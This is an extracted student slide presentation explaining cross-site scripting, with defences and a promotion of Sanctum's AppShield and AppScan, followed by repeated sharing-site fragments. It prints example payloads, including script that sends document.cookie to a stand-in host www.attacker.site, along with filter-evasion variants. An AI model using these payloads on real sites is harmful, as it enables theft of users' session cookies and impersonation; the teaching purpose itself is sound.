Cross Site Scripting: Moutasem Hamour

Cross Site Scripting
Moutasem Hamour
Supervised By: Dr. Loai Tawalbeh
New York Institute of Technology (NYIT)-Amman

Introduction
Full explanation the CSS technique
Scope and feasibility

-Variations on the theme
Other ways to perform (traditional) CSS attacks
What went wrong?
Securing a site against CSS attacks
How to check if your site is protected from CSS
How Sanctums AppShield protects against CSS attacks
How Sanctums AppScan scans for CSS vulnerabilities

Introduction
Cross Site Scripting (CSS for short, but sometimes

abbreviated as XSS) is one of the most common application
level attacks that hackers use to sneak into web applications
today.
Cross site scripting is an attack on the privacy of clients of a

particular web site which can lead to a total breach of security
when customer details are stolen or manipulated.
Unlike most attacks, which involve two parties the attacker,

and the web site, or the attacker and the victim client, the CSS
attack involves three parties the attacker, a client and the
web site.
Introduction (Cont....)
The goal of the CSS attack is to steal the client cookies, or any
other sensitive information, which can identify the client with
the web site. With the token of the legitimate user at hand, the
attacker can proceed to act as the user in his/her interaction
with the site specifically, impersonate the user.
Introduction (Cont....)
Example :-
in one audit conducted for a large company it was possible to

peek at the users credit card number and private information
using a CSS attack. This was achieved by running malicious
Javascript code at the victim (client) browser, with the access
privileges of the web site. These are the very limited
Javascript privileges which generally do not let the script
access anything but site related information. It should be
stressed that although the vulnerability exists at the web site, at
no time is the web site directly harmed. Yet this is enough for
the script to collect the cookies and send them to the attacker.
The result, the attacker gains the cookies and impersonates the
victim.
Full explanation the CSS technique
I will consider the under attack site is
www.vulnerable.com
At the core of a traditional CSS attack lies a vulnerable

script in the vulnerable site. This script reads part of the
HTTP request (usually the parameters, but sometimes also
HTTP headers or path) and echoes it back to the response
page, in full or in part, without first sanitizing it i.e.
making sure it doesnt contain Javascript code and/or
HTML tags.
Full explanation the CSS
technique(Cont...)
This script is named welcome.cgi, and its parameter is

name. It can be operated this way:
GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0
Host: www.vulnerable.site
...
And the response would be:
<HTML>
<Title>Welcome!</Title>
Hi Joe Hacker
<BR>
Welcome to our system
...
</HTML>
technique(Cont...)
How can this be abused? Well, the attacker manages to lure the
victim client into clicking a link the attacker supplies to
him/her. This is a carefully and maliciously crafted link, which
causes the web browser of the victim to access the site
(www.vulnerable.site) and invoke the vulnerable script. The
data to the script consists of a Javascript that accesses the
cookies the client browser has for www.vulnerable.site. It is
allowed, since the client browser experiences the Javascript
coming from www.vulnerable.site, and Javascripts security
model allows scripts arriving from a particular site to access
cookies belonging to that site.
technique(Cont...)
Such a link looks like:

http://www.vulnerable.site/welcome.cgi?name=<script>
alert(document.cookie)</script>
The victim, upon clicking the link, will generate a request to
www.vulnerable.site, as follows:
GET/welcome.cgi?name=<script>alert(document.cookie)
</script> HTTP/1.0
Host: www.vulnerable.site
And the vulnerable site response would be:
<HTML>
Hi <script>alert(document.cookie)</script>
<BR>
</HTML>
technique(Cont...)
The victim clients browser would interpret this response as an

HTML page containing a piece of Javascript code. This code, when
executed, is allowed to access all cookies belonging to
www.vulnerable.site, and therefore, it will pop-up a window at the
client browser showing all client cookies belonging to
www.vulnerable.site.
Of course, a real attack would consist of sending these cookies to

the attacker. For this, the attacker may erect a web site
(www.attacker.site), and use a script to receive the cookies. Instead
of popping up a window, the attacker would write a code that
accesses a URL at his/her own site (www.attacker.site), invoking
the cookie reception script with a parameter being the stolen
cookies. This way, the attacker can get the cookies from the
www.attacker.site server.
technique(Cont...)
The malicious link would be:

http://www.vulnerable.site/welcome.cgi?name=<script>window.op
en(http://www.attacker.site/collect.cgi?
cookie=%2Bdocument.cookie)</script>
And the response page would look like:
<HTML>
Hi
<script>window.open(http://www.attacker.site/collect.cgi?
cookie=+document.cookie)</script>
<BR>
...
</HTML>
technique(Cont...)
The browser, immediately upon loading this page, would execute

the embedded Javascript and would send a request to the collect.cgi
script in www.attacker.site, with the value of the cookies of
www.vulnerable.site that the browser already has.
This compromises the cookies of www.vulnerable.site that the

client has. It allows the attacker to impersonate the victim. The
privacy of the client is completely breached.
It should be noted, that causing the Javascript pop-up window to

emerge usually suffices to demonstrate that a site is vulnerable to a
CSS attack. If Javascripts alert function can be called, theres
usually no reason for the window.open call not to succeed. That is
why most examples for CSS attacks use the alert function, which
makes it very easy to detect its success.
Scope and feasibility
The attack can take place only at the victims browser, the same
one used to access the site (www.vulnerable.site). The attacker
needs to force the client to access the malicious link. This can
happen in several ways:
- The attacker sends an email containing an HTML page that
forces the browser to access the link. This requires the victim
use the HTML enabled email client, and the HTML viewer at
the client is the same browser used for accessing

www.vulnerable.site.
- The client visits a site, perhaps operated by the attacker, where a
link to an image or otherwise active HTML forces the browser to
access the link. Again, it is mandatory that the same browser be
used for accessing this site and www.vulnerable.site.
Scope and feasibility (Cont...)
The malicious Javascript can access:

- Permanent cookies (of www.vulnerable.site) maintained by the
browser.
- RAM cookies (of www.vulnerable.site) maintained by this
instance of the browser, only when it is currently browsing
www.vulnerable.site
- Names of other windows opened for www.vulnerable.site
Identification/authentication/authorization tokens are usually

maintained as cookies. If these cookies are permanent, the victim is
vulnerable to the attack even if he/she is not using the browser at
the moment to access www.vulnerable.site. If, however, the cookies
are temporary i.e. RAM cookies, then the client must be in session
with www.vulnerable.site.
Scope and feasibility (Cont...)
Other possible implementations for an identification token is a

URL parameter. In such cases, it is possible to access other
windows using Javascript as follows (assuming the name of
the page whose URL parameters are needed is foobar):
<script>var
victim_window=open('','foobar');alert('Can
access:'+victim_window.location.search)
</script>
Variations on the theme
It is possible to use many HTML tags, beside <SCRIPT> in order to

run the Javascript. In fact, it is also possible for the malicious
Javascript code to reside on another server, and to force the client to
download the script and execute it which can be useful if a lot of
code is to be run, or when the code contains special characters.
Some variations:
Instead of <script>...</script>, one can use <img
src=javascript:...> (good for sites that filter the <script> HTML
tag)
Instead of <script>...</script>, it is possible to use <script
src=http://...> . This is good for a
situation where the Javascript code is too long, or contains
forbidden characters.
Variations on the theme(Cont...)
Sometimes, the data embedded in the response page is found in non-

free HTML context. In this case, it is first necessary to escape to
the free context, and then to append the CSS attack. For example, if
the data is injected as a default value of an HTML form field,
e.g.: ...
<input type=text name=user value=...>
...
Then it is necessary to include > in the beginning of the data to
ensure escaping to the free HTML context. The data would be:
><script>window.open(http://www.attacker.site/collect.cgi?
cookie=+document.cookie)</s cript>
And the resulting HTML would be:
...
<input type=text name=user
value=><script>window.open(http://www.attacker.site/collect.cgi
?cookie=+document.co okie)</script>>
...
Other ways to perform (traditional) CSS
attacks
So far weve seen that a CSS attack can take place in a

parameter of a GET request which is echoed back to the
response by a script. But it is also possible to carry out the
attack with POST request, or using the path component of the
HTTP request, and even using some HTTP headers (such as
the Referer).
Particularly, the path component is useful when an error page
returns the erroneous path. In this case, often including the
malicious script in the path will execute it. Many web servers
are found vulnerable to this attack.
What went wrong?
It should be understood that although the web site is not directly

affected by this attack -it continues to function normally, malicious
code is not executed on the site, no DoS condition occurs, and data
is not directly manipulated/read from the site- it is still a flaw in the
privacy the site offers its clients. Just like a site deploying an
application with weak security tokens, wherein an attacker can
guess the security token of a victim client and impersonate him/her,
the same can be said here.
What went wrong?(Cont...)
The weak spot in the application is the script that echoes back its
parameter, regardless of its value. A good script makes sure that the
parameter is of a proper format, and contains reasonable characters,
etc. There is usually no good reason for a valid parameter to include
HTML tags or Javascript code, and these should be removed from
the parameter prior to it being embedded in the response or prior to
processing it in the application, to be on the safe side!
Securing a site against CSS attacks
It is possible to secure a site against a CSS attack in three ways:

1. By performing in-house input filtering (sometimes called
input sanitation). For each user input be it a parameter or an
HTTP header, in each script written in-house, advanced filtering
against HTML tags including Javascript code should be applied. For
example, the welcome.cgi script from the above case study should
filter the <script> tag once it is through decoding the name
parameter.
This method has some severe downsides:
It requires the application programmer to be well versed
in security.
It requires the programmer to cover all possible input
sources (query parameters, body parameters of POST
request, HTTP headers).
It cannot defend against vulnerabilities in third party
scripts/servers. For example, it wont defend against problems in error
pages in web servers (which display the path of the resource).
Securing a site against CSS attacks(Cont...)
2. By performing output filtering, that is, to filter the user data when
it is sent back to the browser, rather than when it is received by a
script. A good example for this would be a script that inserts the
input data to a database, and then presents it. In this case, it is
important not to apply the filter to the original input string, but only
to the output version. The drawbacks are similar to the ones in input
filtering.
3. By installing a third party application firewall, which intercepts CSS
attacks before they reach the web server and the vulnerable scripts,
and blocks them. Application firewalls can cover all input methods
(including path and HTTP headers) in a generic way, regardless of
the script/path from the in-house application, a third party script, or a
script describing no resource at all (e.g. designed to provoke a 404
page response from the server). For each input source, the
application firewall inspects the data against various HTML tag
patterns and Javascript patterns, and if any match, the request is
rejected and the malicious input does not arrive to the
server.
How to check if your site is protected
from CSS
Checking that a site is secure from CSS attacks is the logical

conclusion of securing the site.
Just like securing a site against CSS, checking that the site is indeed
secure can be done manually (the hard way), or via an automated
web application vulnerability assessment tool, which offloads the
burden of checking. The tool crawls the site, and then launches all
the variants it knows against all the scripts it found trying the
parameters, the headers and the paths. In both methods, each input
to the application (parameters of all scripts, HTTP headers, path) is
checked with as many variations as possible, and if the response
page contains the Javascript code in a context where the browser
can execute it then a CSS vulnerability is exposed. For example,
sending the text:
<script>alert(document.cookie)</script>
How to check if your site is protected
from CSS (Cont....)
to each parameter of each script, via a Javascript enabled browser to

reveal a CSS vulnerability of the simplest kind the browser will
pop up the Javascript alert window if the text is interpreted as
Javascript code.
Of course, there are several variants, and therefore, testing only the
above variant is insufficient. And as we saw above, it is possible to
inject Javascript into various fields of the request the parameters,
the HTTP headers, and the path. In some cases (notably the HTTP
Referer header), it is awkward to carry out the attack using a
browser.
How Sanctums AppShield protects
against CSS attacks
AppShield, Sanctums Web application firewall, is a secure proxy

positioned in front of the web server, and protecting it, and all the
code and data sitting behind it, from attack. AppShield inspects all
incoming requests. Therefore, any CSS attack attempt will send the
request (to welcome.cgi in the example) to AppShield, instead of
directly to the web server. AppShield inspects the parameters of the
request before forwarding it to the server. AppShields patented
Dynamic Policy Recognition technology incorporates sophisticated
pattern matching which blocks input potentially used for CSS
attacks. For example, the patterns cover the following strings as
referred to in this paper:
<script>...</script>
<body onload="javascript:..">
How Sanctums AppShield protects
against CSS attacks(Cont...)
In the example, there is a parameter whose value contains the string

<script>window.open(http://www.attacker.site/collect.cgi?cookie=
+document.cookie)</script>
Upon spotting this illegal pattern, AppShield blocks the request and
logs the attack attempt.
How Sanctums AppScan scans for CSS
vulnerabilities
to mutate all "reasonable" parameters into various CSS attack variants.

For example, it may try to inject the string
<script>alert("CSS is possible")</script>
into all parameters of all scripts.
AppScan's uniquely comprehensive assembly of CSS attacks enables it to

penetrate some applications that are resistant to simple CSS attacks.
For each script it tries to attack, AppScan will inspect the results (the
script response), and if the Javascript code is detected (that is, if the string
returned as is - intact and in fullness:
<script>alert("CSS is possible")</script>), it indicates that the attack
succeeded (because the browser of the victim will execute the JS code).
Moreover, the internal browser in AppScan will pop-up the
Javascript alert window with the text "CSS is possible", which graphically
demonstrates that the Javascript code was indeed executed.
Conclusion
Cross Site Scripting is one of the most common application level attacks
that hackers use to sneak into web applications today, and one of the
most dangerous. It is an attack on the privacy of clients of a particular
web site which can lead to a total breach of security when customer
details are stolen or manipulated. Unfortunately, this is often done
without the knowledge of either the client or the organization being
attacked. In order to prevent this malicious vulnerability, it is critical
that an organization implement both an online and offline security
strategy. This includes using an automated application vulnerability
assessment tool, like AppScan from Sanctum, which can test for all
the common web vulnerabilities, and application specific
vulnerabilities (like cross site scripting) on a site. And for a full online
defense, installing an application firewall, like AppShield from
Sanctum, that can detect and defend against any type of manipulation
to the code and content sitting on and behind the web servers.
TANK YOU

Cross Site Scripting: Moutasem Hamour

Uploaded by

Copyright:

Available Formats

Cross Site Scripting: Moutasem Hamour

Uploaded by

Document Information

Original Description:

Original Title

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

Cross Site Scripting: Moutasem Hamour

Uploaded by

Copyright:

Available Formats

Cross Site Scripting

Supervised By: Dr. Loai Tawalbeh

New York Institute of Technology (NYIT)-Amman

Full explanation the CSS technique

Scope and feasibility

Other ways to perform (traditional) CSS attacks

What went wrong?

Securing a site against CSS attacks

How to check if your site is protected from CSS

How Sanctums AppShield protects against CSS attacks

How Sanctums AppScan scans for CSS vulnerabilities

Cross Site Scripting (CSS for short, but sometimes

Cross site scripting is an attack on the privacy of clients of a

Unlike most attacks, which involve two parties the attacker,

in one audit conducted for a large company it was possible to

I will consider the under attack site is

At the core of a traditional CSS attack lies a vulnerable

This script is named welcome.cgi, and its parameter is

Such a link looks like:

The victim clients browser would interpret this response as an

Of course, a real attack would consist of sending these cookies to

The malicious link would be:

The browser, immediately upon loading this page, would execute

This compromises the cookies of www.vulnerable.site that the

It should be noted, that causing the Javascript pop-up window to

the client is the same browser used for accessing

The malicious Javascript can access:

Identification/authentication/authorization tokens are usually

Other possible implementations for an identification token is a

It is possible to use many HTML tags, beside <SCRIPT> in order to

Sometimes, the data embedded in the response page is found in non-

So far weve seen that a CSS attack can take place in a

It should be understood that although the web site is not directly

It is possible to secure a site against a CSS attack in three ways:

It requires the application programmer to be well versed

Checking that a site is secure from CSS attacks is the logical

to each parameter of each script, via a Javascript enabled browser to

AppShield, Sanctums Web application firewall, is a secure proxy

In the example, there is a parameter whose value contains the string

to mutate all "reasonable" parameters into various CSS attack variants.

AppScan's uniquely comprehensive assembly of CSS attacks enables it to

You might also like